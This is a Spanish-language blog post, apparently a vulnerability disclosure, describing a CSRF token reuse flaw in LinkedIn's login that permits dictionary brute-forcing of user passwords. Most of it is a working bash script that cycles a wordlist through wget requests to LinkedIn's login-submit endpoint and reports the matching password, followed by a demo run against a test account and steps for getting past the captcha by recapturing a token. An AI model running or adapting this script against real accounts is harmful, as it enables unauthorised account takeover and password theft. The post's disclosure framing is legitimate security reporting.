
El proceso para iniciar sesión de LinkedIn es vulnerable a
ataques de fuerza bruta y es posible, mediante un diccionario,
descubrir la password de usuarios. Este ataque es factible debido a un error en
la validación del token de seguridad (Csrf token) que permite enviar tantos
request remotos como queramos, probando distintos usuarios y usando el mismo
token.
La única protección que existe, es que luego de decenas de intentos, nos muestra un Captcha, sin embargo, luego de esperar un tiempo y con un nuevo Token, es posible continuar con el ataque.
Para obtener un Token y poder probar el ataque, debemos atrapar el POST que
se hace en el formulario de login y obtener el “sourceAlias” y “csrfToken”.
Cuando realizamos el ataque, no es necesario enviarle estos valores metiante
POST, ya que no discrimina el métido por el cual se le entregan los valores,
pudiendo generar un simple script que haga consultas mediante GET pasandole las
variables por URL.
El paso siguiente es armar un script que nos ayude a enviar requests hacia el
script “login-submit” de LinkedIn, validar la respuesta y comprobar la
contraseña.
- #!/bin/bash
- #
- # usage: ./linkedin.sh username@domain.com wordlist
- #
- TOKEN="ajax%3A1969342887909916588"
- sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"
- if [ ! -f $2 ];
- then
- echo "file $2 does not exists"
- exit
- fi
- _USR=$1
- for _PWD in $(cat $2);
- do
- if [ $(echo -n $_PWD|wc -c) -lt 6 ];
- then
- echo "Ignoring $_PWD (must be grather than 6 chars)"; continue
- fi
- wget -o /dev/null -O - "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep 'The email address or password you provided does not match our records\|captcha' >>/dev/null
- if [ $? -eq 1 ];
- then
- echo "Password found: $_PWD"; exit;
- fi
- done
- echo "Password NOT found. Try later."
Lo que hace este script es leer un archivo de texto que usará como
diccionario para realizar el ataque. Cuando queramos cambiar el Token debemos
modificar el valor de la variable “TOKEN” dentro del script.
A modo de prueba, cree la cuenta “panic@zerial.org” y un diccionario que
contiene las siguientes palabras:
asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
123456qwerty
12345qwei
112233
Ejecuté el script entregandole los parametros necesarios: sh
linkedin.sh panic@zerial.org wordlist y este es el
resultado:
Password found: 123456qwerty
Que corresponde a la password de prueba.
Si linkedin nos pone problemas con el captcha, lo que debemos hacer es
ingresar via web con una cuenta valida, capturar nuevamente el Token e
intentarlo nuevamente con ese token.
Nota: LinkedIn fue notificado hace 2 semanas sobre esta
vulnerabilidad, pero no respondieron.
No hay comentarios:
Publicar un comentario
Nota: solo los miembros de este blog pueden publicar comentarios.